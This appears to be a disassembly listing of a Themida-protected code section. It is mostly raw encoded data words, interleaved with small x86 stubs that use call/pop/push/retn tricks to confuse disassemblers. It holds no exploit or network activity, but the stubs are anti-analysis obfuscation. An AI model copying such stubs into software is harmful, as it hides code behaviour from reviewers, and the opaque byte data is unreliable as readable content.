dd 0Ah, 0B748CFB6h, 184A0A94h, 0C18B2317h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0B2C35545h, 0B4787401h
dd 0F9BF0F53h, 8041BE5Eh, 4EB4082h, 0
; ---------------------------------------------------------------------------
push 0
push edi
call sub_5C7F7F
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C7F7F proc near ; CODE XREF: Themida_:005C7F77p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 18h
inc edi
push edi
retn
sub_5C7F7F endp
; ---------------------------------------------------------------------------
pop edi
cwde
inc esp
xor al, 0DAh
push eax
or esi, [ebp+7FA0F25h]
pop edi
push 0
push edi
call sub_5C7FA7
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C7FA7 proc near ; CODE XREF: Themida_:005C7F9Fp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 17h
inc edi
push edi
retn
sub_5C7FA7 endp
; ---------------------------------------------------------------------------
db 5Fh
dd 0BEC6FB5Dh, 775444DFh, 199858Dh, 958907FAh, 7FA1F81h
dd 0CBF6650h, 2404891Ch, 4CDBEF81h, 50601597h, 20F5BD8Bh
dd 0E95A07FAh, 14h, 89021162h, 0AE9646F1h, 0B8428995h
dd 0F9A9EE5Dh, 0E9FDCF11h, 1006A61h, 0FA1C85BDh, 6A006A07h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h
dd 42000000h, 7438C352h, 0F82DCF41h, 0B9C6DD09h, 4CD7858Dh
dd 0F98B07FEh, 6A05C083h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 14042444h, 43000000h, 89B9C353h, 0FA28699Dh
dd 0FE8B9007h, 0F88B6650h, 41B52390h, 6A07FA35h, 0DE816600h
dd 6A9E49h, 6E8h, 0E1970F00h, 89B36C0Eh, 0FA2CA9B5h, 0BD8B5F07h
dd 7FA3189h, 2BE995FFh, 0B58B07FAh, 7FA1129h, 14618D29h
dd 9D8D07FAh, 7FDD711h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 17h, 0C6C35646h, 66153067h, 0FF12F681h, 6AD3FFh
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
dd 0A6E9FAC3h, 0F781E5F1h, 29256F0Ch, 0FA240DBDh, 4985FF07h
dd 0E807FA10h, 0Fh, 0AB8D4503h, 0C47B21B7h, 82A1EA9Bh
dd 60EA3B47h, 0ACD78166h, 0DE81661Eh, 5E611BA4h, 901E9h
dd 0E800h, 815D0000h, 0FE4CE1EDh, 55006A07h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 0EF61DABh
dd 9D8959FBh, 7FA1CB9h, 719BD81h, 7D007FAh, 860F0000h
dd 159h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 15h, 0FAC35747h, 8BFE8B49h, 0FA185D9Dh, 50006A07h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h
dd 3BBEC9DAh, 814635F6h, 100E3h, 850F00h, 0F000000h, 0DB0BF8BFh
dd 9C850Fh, 83F50000h, 0FE4B2FBDh, 840F0007h, 5Dh, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 91C35040h, 424EE637h
dd 0E9D07A97h, 0Bh, 0AF8478E4h, 857797A5h, 0E94EFD92h
dd 66h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh
dd 0F9C35141h, 625019EFh, 73DA5F2Ch, 2F85C770h, 107FE4Bh
dd 8B000000h, 30E9FAh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 180424h, 52420000h, 0CC7356C3h, 85C7867Ch
dd 7FE4B2Fh, 0
; ---------------------------------------------------------------------------
or esi, 2A9C80C6h
lea ebx, [ebp+7FA185Dh]
push 0
push ebp
call sub_5C827B
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C827B proc near ; CODE XREF: Themida_:005C8273p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 15h
inc ebp
push ebp
retn
sub_5C827B endp
; ---------------------------------------------------------------------------
mov ds:2DBD2B48h, eax
daa
cli
pop es
and dword ptr [ebx], 0FFFFFEFFh
push 0
push ebp
call sub_5C82A4
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C82A4 proc near ; CODE XREF: Themida_:005C829Cp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 18h
inc ebp
push ebp
retn
sub_5C82A4 endp
; ---------------------------------------------------------------------------
fdiv dword ptr [edi+3Ch]
cmp ch, dl
mov bx, ds
push 0
push edx
call sub_5C82C7
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C82C7 proc near ; CODE XREF: Themida_:005C82BFp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Dh
inc edx
push edx
retn
sub_5C82C7 endp
; ---------------------------------------------------------------------------
db 8Dh
dd 45172A9Fh, 0B02CED69h, 14E9D2h, 0D2360000h, 134FA557h
dd 0F6F4A6F2h, 30D0CE97h, 0F9CE3EC4h, 0C3F635F8h, 86840F04h
dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 17042444h, 40000000h, 0C48AC350h, 0EE91248h, 8E000000h
dd 0F52872CAh, 945ACF78h, 698A042Fh, 0A595FF44h, 6A07FA10h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h
dd 43000000h, 0C408C353h, 100FB4D6h, 41D78166h, 0EE850A9h
dd 0EA000000h, 0E4D9DE77h, 4AEECC25h, 3AFBF184h, 5E9E5h
dd 65800000h, 5EF93479h, 1240489h, 0FA0EC1BDh, 3F9E907h
dd 5E80000h, 0E5000000h, 27A1C94Ah, 0E900B05Fh, 0Ah, 833C903Bh
dd 480B5AB4h, 70E62083h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 14h, 0E3C35545h, 0B60F71E4h, 0EFBF66D8h, 6BA03h
dd 0BD890000h, 7FA1041h, 6AC38Bh, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 180424h, 52420000h, 0B11ADBC3h, 8E0FCA28h
dd 5, 0D6BF0F60h, 4E8C161h, 5C54DF81h, 0F7661A01h, 53006AE2h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h
dd 38AAF125h, 779FD083h, 0F88BCF7Dh, 6AD82Bh, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 660983C3h
dd 725F940Ah, 8950FC6Bh, 6A241Ch, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1B0424h, 53430000h, 667ACC3h, 5851B195h
dd 0D681665Fh, 0B5FFF9CAh, 7FA0719h, 1059BD01h, 95FF07FAh
dd 7FA1019h, 0C800Fh, 860F0000h, 6, 24459589h, 67BE07FAh
dd 0B0702EACh, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1804h, 0C3504000h, 0CE9A0DFh, 9DB58B39h
dd 0E607FA2Ah, 830F70h, 0E4000000h, 52006A71h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 0BE5CB780h
dd 95F51C4h, 830F613Ch, 273h, 2599B531h, 0B60F07FAh, 0E1BD09D8h
dd 0BA07FA01h, 6, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 14h, 4FC35242h, 2C53BE66h, 0CE8h, 0E527B000h, 7134F1A7h
dd 25FFCB59h, 0B1B509F5h, 5E07FA1Ch, 6AC38Bh, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0FAB024C3h
dd 0F535D12h, 680h, 880F00h, 5F000000h, 4E8C1F5h, 17B1B58Bh
dd 0F76607FAh, 0ADB58BE2h, 2B07FA34h, 118D89D8h, 5807FA29h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0C35141h
dd 8B106531h, 0FA113DB5h, 0FD82B07h, 1AE88h, 57006A00h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
dd 9FAE40A4h, 36F1D905h, 0EE8h, 21804C00h, 0A94A45EEh
dd 7010E83Dh, 8BD791AFh, 0FA1851BDh, 0B70F5F07h, 2FDE81F3h
dd 0B94D56B9h, 7, 151DB58Bh, 0C18307FAh, 50006A00h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
dd 75A2E360h, 1C5BCB9h, 0FA2489BDh, 3BF78B07h, 28860FD9h
dd 33000001h, 0FA2BF5BDh, 0D98C6607h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 16h, 5C35040h, 9D89A4DCh, 7FA007Dh
dd 0F04C1F6h, 0E184h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1904h, 0C3554500h, 0DAD63271h, 0F88B0034h
dd 22159D29h, 95FF07FAh, 7FA10A5h, 0B99D89h, 6A5B07FAh
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h
dd 43000000h, 0B37FC353h, 2BBAEEFCh, 55006AC3h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 0DE8011Bh
dd 39000000h, 137A00C8h, 0A345114Fh, 3FB57158h, 0F1BF0F50h
dd 343D5E5Eh, 0F000008h, 4986h, 53006A00h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 0E9869B60h
dd 37h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h
dd 4BC35242h, 0B25388B3h, 267DB58Bh, 0C08B07FAh, 0AE9h
dd 19082200h, 0C24FEE4Bh, 8B27411Ch, 0E9D88BC3h, 0Bh, 80B471A9h
dd 6BF0AAF9h, 0F9DCBD43h, 276585C7h, 0D55707FAh, 1501E68h
dd 0FA2C959Dh, 0C08B5F07h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 19h, 0A9C35040h, 0D375DC04h, 0BF0F603Eh, 65BD89CAh
dd 6107FA1Eh, 719BD81h, 7D007FAh, 850F0000h, 5Fh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 0FEC35141h, 0F1214DB3h
dd 8B0F6Eh, 0F000000h, 688h, 8DB58B00h, 0FF07FA08h, 0FA071985h
dd 57006A07h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h
dd 0C3574700h, 243FCA0Dh, 0C5EC7629h, 0FFFC6AC2h, 0FA0719B5h
dd 56006A07h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h
dd 0C3564600h, 9BCA810Eh, 892B95A0h, 81BD8B08h, 0FF07FA28h
dd 0FA101995h, 0B18D0107h, 9007FA15h, 12E9h, 47147400h
dd 9730996Dh, 6E28F558h, 5BAC05D8h, 66C4B495h, 9589F88Bh
dd 7FA2A65h, 0B8C0Fh, 0BD890000h, 7FA1131h, 25E78166h
dd 53006A41h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h
dd 0C3534300h, 55745CFFh, 23F145EFh, 0FA2385BDh, 53006A07h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h
dd 56006A8Bh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h
dd 0C3564600h, 6624502Bh, 0F703ABFh, 583h, 1965BF00h, 0BD8B22C3h
dd 7FA2DB5h, 0BD89F08Bh, 7FA2C41h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Ch, 3BC35343h, 2A0F23Dh, 0B2E211C2h
dd 9B4DC681h, 6A4CABh, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1B0424h, 51410000h, 0B1803CC3h, 0BCEC1FD6h, 55006A8Eh
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h
dd 0F777E9BBh, 6AFFFFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 190424h, 55450000h, 0E70A6BC3h, 600E0335h, 89D08B66h
dd 0FA0D99B5h, 5E907h, 6B120000h, 61671BA5h, 34E9B58Bh
dd 0AE807FAh, 3000000h, 0E901416Eh, 73CD3A93h, 35BD89EDh
dd 0E807FA2Ch, 14h, 1079F981h, 0B5CE22BBh, 69AD5CE6h, 0AEF28B45h
dd 299EF79h, 4CB7E781h, 0C78115ABh, 7D5666FBh, 6A605F5Eh
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h
dd 45000000h, 4B6CC355h, 665388B3h, 0B94108BEh, 0FFFFFFFEh
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 1AC35343h
dd 3465DDCEh, 8D216845h, 7FA185Dh, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Dh, 0DBC35747h, 0E2382373h, 7679B713h
dd 0CD858BBCh, 6607FA18h, 2123EAB8h, 0FA0DA58Dh, 51006A07h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
dd 49858B23h, 8B07FA05h, 55BD8BFBh, 8B07FA2Bh, 0FA185D8Dh
dd 0B1952907h
dd 8307FA23h, 850F01E1h, 6, 25E1B58Bh, 8D8B07FAh, 7FA0DA5h
dd 18870F57h, 0E9000000h, 13h, 6D770F51h, 7D7AE2C9h, 882BAE14h
dd 0D343015Bh, 5EE0DE2Ch, 0F01E183h, 2585h, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
dd 2ABF3290h, 340EB937h, 6061C68Bh, 0D2DB58Bh, 0FEB907FAh
dd 6AFFFFFFh, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 14042444h, 42000000h, 8927C352h, 0FA2F85BDh, 0F18D2107h
dd 0F07FA2Eh, 287h, 21F08B00h, 0FA26198Dh, 49B58907h, 8B07FA27h
dd 0FA2EF18Dh, 56006A07h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1704h, 0C3564600h, 0EB14288Bh, 3914F781h
dd 0E1830AC7h, 6850F01h, 0B000000h, 0FA0F199Dh, 198D8B07h
dd 6A07FA26h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 16042444h, 45000000h, 746EC355h, 1E1836Fh, 0C850Fh
dd 958B0000h, 7FA2A1Dh, 0EC5BD8Bh, 606107FAh, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 9EC35343h, 80BA49A4h
dd 0FEB9DCC7h, 23FFFFFFh, 0FA26B985h, 0C58D2107h, 6A07FA0Ch
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h
dd 43000000h, 2181C353h, 0FA05218Dh, 53006A07h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 63943E6Ah
dd 95899E80h, 7FA0D41h, 0CC58D8Bh, 870F07FAh, 3, 83F0BF0Fh
dd 850F01E1h, 6, 18A9BD89h, 8D8B07FAh, 7FA0521h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 14h, 6DC35040h, 2999BD89h
dd 0BD2907FAh, 7FA34E9h, 0F01E183h, 2385h, 56006A00h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h
dd 0FB8F8E04h, 46BAE428h, 6A6061h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 190424h, 57470000h, 0F31061C3h, 8BDCF414h
dd 0FA242DB5h, 0FFFEB907h, 9D8BFFFFh, 7FA0B9Dh, 27658D21h
dd 958B07FAh, 7FA02F5h, 1E898D21h, 6A07FAh, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1B0424h, 50400000h, 0E11A6BC3h
dd 2980847Bh, 658D8B7Ah, 0F07FA27h, 0E183DEBFh, 2E850F01h
dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 18042444h, 40000000h, 0DD23C350h, 50F9E168h, 2AE1BD8Bh
dd 315807FAh, 0FA1E69B5h, 898D8B07h, 8907FA1Eh, 0FA2C0985h
dd 1E18307h, 0E850Fh, 0BD8B0000h, 7FA2AA1h, 398D8951h
dd 5E07FA08h, 6A6061h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 150424h, 50400000h, 0E9491BC3h, 9, 0F090BFB8h, 23268951h
dd 1985C7FDh, 0D007FA07h, 6A000007h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0FC66C353h
dd 55006A61h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h
dd 0C3554500h, 7BE4C757h, 6107EBB9h, 0E99Dh, 6A0000h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
dd 9DB78C3h, 0FA0E8195h, 6A30B207h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0C770C357h
dd 0C680FB67h, 8B009226h, 5000BAC1h, 0EA81F011h, 0F0000000h
dd 8914C283h, 0FA114D95h, 14EA8307h, 5AEA858Dh, 645007FEh
dd 35FFh, 89640000h, 25h, 0E800h, 2B580000h, 0F00025C2h
dd 8166FFFFh, 0F5A4D38h, 1285h, 50B70F00h, 81D0033Ch, 45503Ah
dd 0A840F00h, 2D000000h, 1000h, 0FFFFD9E9h, 89C88BFFh
dd 0FA14A985h, 3C400307h, 650B70Fh, 18B59589h, 508B07FAh
dd 5D958950h, 507FA08h, 0F8h, 30C508Bh, 0B59589D1h, 307FA22h
dd 95890850h, 7FA2451h, 58F64h, 83000000h, 13E904C4h, 51000000h
dd 10244C8Bh, 0B0A981h, 10000000h, 33590000h, 0BD83C3C0h
dd 7FA3135h, 24840F00h, 0C6000000h, 0FA066585h, 0D2684707h
dd 0FFD49AA7h, 0FA2095B5h, 0DD858D07h, 0FF07FDA3h, 0FF006AD0h
dd 1D8589D0h, 8B07FA0Dh, 6A60D3h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1D0424h, 50400000h, 54B8A3C3h, 0AF433DD2h
dd 2BB356AAh, 0FA30BD8Dh, 28C0F07h, 0B5000000h, 66C08BCAh
dd 8AB3F181h, 0CDBD83F8h, 7FA2Ah, 0BD830975h, 7FA1899h
dd 50197400h, 0B8C08B53h, 438h, 20C98589h, 9D8D07FAh, 7FCE224h
dd 585BD3FFh, 1899BD83h, 740007FAh, 0B8535017h, 438h, 20C98589h
dd 9D8D07FAh, 7FCDF13h, 585BD3FFh, 6ACEBF0Fh, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
dd 1D4DC352h, 0F913CC38h, 0C08B0E4Bh, 0E8F9B70Fh, 827h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 67C35141h
dd 8915C4DDh, 0FA16F185h, 0C8BF0F07h, 7FAE8h, 59858900h
dd 6A07FA2Fh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 18042444h, 45000000h, 0D04EC355h, 0F3BF6B0h, 0CCE8F9B7h
dd 6A000007h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 19042444h, 41000000h, 0BD4FC351h, 0EE6784F0h, 0B18589F5h
dd 8B07FA16h, 0FA2E218Dh, 799E807h, 9D290000h, 7FA015Dh
dd 918589F9h, 6A07FA33h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 18042444h, 46000000h, 5002C356h, 0E865EF75h
dd 767h, 0EE9h, 39CC9E00h, 0E6B4FFD4h, 0DC26287Dh, 897AA39Fh
dd 0FA167D85h, 50006A07h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1C04h, 0C3504000h, 0A2BC60FDh, 5E5DA888h
dd 0F7B70F11h, 722E8h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1704h, 0C3534300h, 24D77DCFh, 89CE8B66h
dd 0FA0D3185h, 4870F07h, 66000000h, 0E812CFB9h, 6EBh, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0ADC35747h, 8D39072Fh
dd 0DE81B4D7h, 684AB830h, 25158589h, 6A07FAh, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 190424h, 57470000h, 2B0FCC3h
dd 0F684932h, 94E8F2BFh, 6A000006h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 2D0FC355h
dd 5D3DFC38h, 6657ED01h, 510FF781h, 0A9858959h, 6007FA2Eh
dd 16EE8166h, 0D5BD8B54h, 6107FA17h, 652E8h, 0F9D98000h
dd 112D8589h, 6A07FAh, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1C0424h, 52420000h, 0AE58CAC3h, 16DAE867h, 95891A44h
dd 7FA34A1h, 0C360F781h, 14E861F3h, 0B000006h, 0FA0F2DB5h
dd 6D858907h, 0BF07FA2Dh, 4DF02A90h, 5FEE8h, 90D68100h
dd 893C2D17h, 0FA214985h, 0C58D0107h, 0E807FA11h, 5E7h
dd 8589F18Bh, 7FA28EDh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Ah, 0ECC35747h, 0CD2C38FDh, 0E8FC9745h, 5B7h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0E0C35242h
dd 67C4C45h, 2377032Ch, 0FA25A58Dh, 3D858907h, 2907FA24h
dd 0FA0EE98Dh, 57DE807h, 6A0000h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
dd 6C55BBC3h, 0A59501E0h, 8907FA21h, 0FA1E9985h, 50006A07h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h
dd 463BE387h, 52DE8FCh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 170424h, 57470000h, 9B3FAC3h, 71858936h
dd 6A07FA0Eh, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1D042444h, 46000000h, 1A18C356h, 0DF1BBD50h, 733AD1C1h
dd 2805BD89h, 0D8E807FAh, 6A000004h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0BB64C352h
dd 6687C846h, 8589A928h, 7FA0EEDh, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 16h, 0E5C35242h, 0B0E97Ch, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 95C35343h, 8100951Fh
dd 8D8BB9C4h, 7FA23B1h, 8BD8B60Fh, 0FA26EDBDh, 6BA07h
dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
dd 51410000h, 6E2100C3h, 97D27697h, 530DD1CAh, 5E9h, 0AE68F400h
dd 8B5FDD37h, 0CE8C3h, 0AC320000h, 0E35760DEh, 0D649584Bh
dd 8B5628A7h, 8B5E5EFAh, 0FA25998Dh, 4E8C107h, 2D958D2Bh
dd 0F76607FAh, 11B509E2h, 2B07FA06h, 55006AD8h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 0B99589F2h
dd 5007FA1Eh, 6A241C89h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1C042444h, 42000000h, 37E1C352h, 9F138A36h
dd 0FFC68850h, 0FA10A595h, 52006A07h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 6A5B2A17h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h
dd 40000000h, 7FDBC350h, 0D0B3B3E4h, 56A3D681h, 958D5986h
dd 7FA055Dh, 8E9h, 2CCFDA00h, 99442B9Ah, 6A1A89B9h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
dd 8815C353h, 0E8F4C395h, 13h, 15B882Bh, 0DE2CD343h, 88E366E0h
dd 0AE4F0AE3h, 89AF6B2Ch, 0FA291185h, 42895907h, 55006A04h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h
dd 0C8DB0A67h, 8DA2B102h, 0FA171D95h, 50006A07h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h
dd 3DF8DB1h, 381FC238h, 8A1691B9h, 6A1A8910h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
dd 94C9C356h, 6B8E68D4h, 42895F52h, 0B9852904h, 8D07FA14h
dd 0FA15F195h, 53006A07h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1C04h, 0C3534300h, 0E280F755h, 0E57BB00Bh
dd 0EE8166B3h, 1A890DB4h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Ah, 41C35343h, 2E388FB5h, 953E150h, 0FA143D9Dh
dd 0BD8B5E07h, 7FA15F9h, 6A044289h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0FEF2C352h
dd 8589B59Ah, 7FA1635h, 0F9958Dh, 0AFB107FAh, 6A1A89h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
dd 529E27C3h, 13B96641h, 442891Eh, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 15h, 0D0C35343h, 41BD890Fh, 8D07FA27h
dd 0FA108D95h, 0DE816607h, 0F08BDCD3h, 6A1A89h, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
dd 4A5A8DC3h, 0BD89A848h, 7FA2C69h, 6A044289h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
dd 5580C357h, 9D958D63h, 2907FA0Eh, 0FA051985h, 6A1A8907h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h
dd 41000000h, 5C5AC351h, 95296741h, 7FA18CDh, 89044289h
dd 0FA26DDB5h, 3D958D07h, 6607FA21h, 1A89F08Bh, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 75C35343h, 0A7020FB6h
dd 0B1D83A94h, 17B9661Eh, 4428954h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Dh, 0E8C35040h, 282323CCh, 0B41ECF5Ch
dd 0F18B66F7h, 1175958Dh, 6A07FAh, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1C0424h, 55450000h, 18559FC3h, 0EDEACF08h
dd 0FE8B5C6Fh, 6A1A89h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1A0424h, 56460000h, 1A610DC3h, 937A801Fh, 25FD8D8Bh
dd 428907FAh, 52006A04h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1704h, 0C3524200h, 3E83BED2h, 32DF180h, 0FA31DDBDh
dd 0A8E907h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1C0424h, 52420000h, 3191E1C3h, 0CB5B5AA4h, 10E9C721h
dd 8A000000h, 0D0209206h, 16BD2DB2h, 2F8F6245h, 6AB2A489h
dd 45BD0900h, 6A07FA1Fh, 0BE900h, 20670000h, 1FCD2E5Fh
dd 9D52C21Dh, 6A006AA8h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 17042444h, 46000000h, 834FC356h, 6A0C19h
dd 20E1B58Bh, 95FF07FAh, 7FA2259h, 557A2B9h, 6AC325h, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
dd 0BE6640C3h, 0C58ABCE9h, 6830Fh, 85890000h, 7FA0EB1h
dd 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
dd 53430000h, 472C0AC3h, 9AC935B5h, 14E83E26h, 0CB000000h
dd 63770545h, 948FC1F5h, 961A2E02h, 0B80B6ACAh, 0E95A87ECh
dd 13h, 0AADAC40Ch, 0E18F5453h, 72E8CFD6h, 59DA6D8Eh, 5FEBEDEEh
dd 2ACDBD83h, 750007FAh, 99BD8309h, 7FA18h, 53501974h
dd 38B8C08Bh, 89000004h, 0FA158185h, 8B9D8D07h, 0FF07FCE2h
dd 83585BD3h, 0FA1899BDh, 17740007h, 38B85350h, 89000004h
dd 0FA158185h, 2C9D8D07h, 0FF07FCDFh, 60585BD3h, 1C91B509h
dd 860F07FAh, 6, 7818509h, 6A6107FAh, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1D042444h, 40000000h, 3910C350h
dd 9D48B5D0h, 3466AB96h, 858DC08Bh, 7FA0199h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0EFC35040h, 7CEEE6D7h
dd 6D8621A8h, 41858962h, 9007FA1Ch, 50DF8B66h, 49BFBB66h
dd 52006A90h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h
dd 0C3524200h, 1463486Bh, 66AA1FA4h, 0E860BAD5h, 0Ch, 0EE180B0Ah
dd 50CC87BEh, 1CC41E5Fh, 5880F480h, 0F98B6660h, 3DC3BB66h
dd 6A6161h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 18h, 83C35646h, 94B31768h, 6A006Ah, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 170424h, 52420000h, 704633C3h
dd 0DABB66C5h, 0B858DD8h, 6A07FE68h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0C1C8C357h
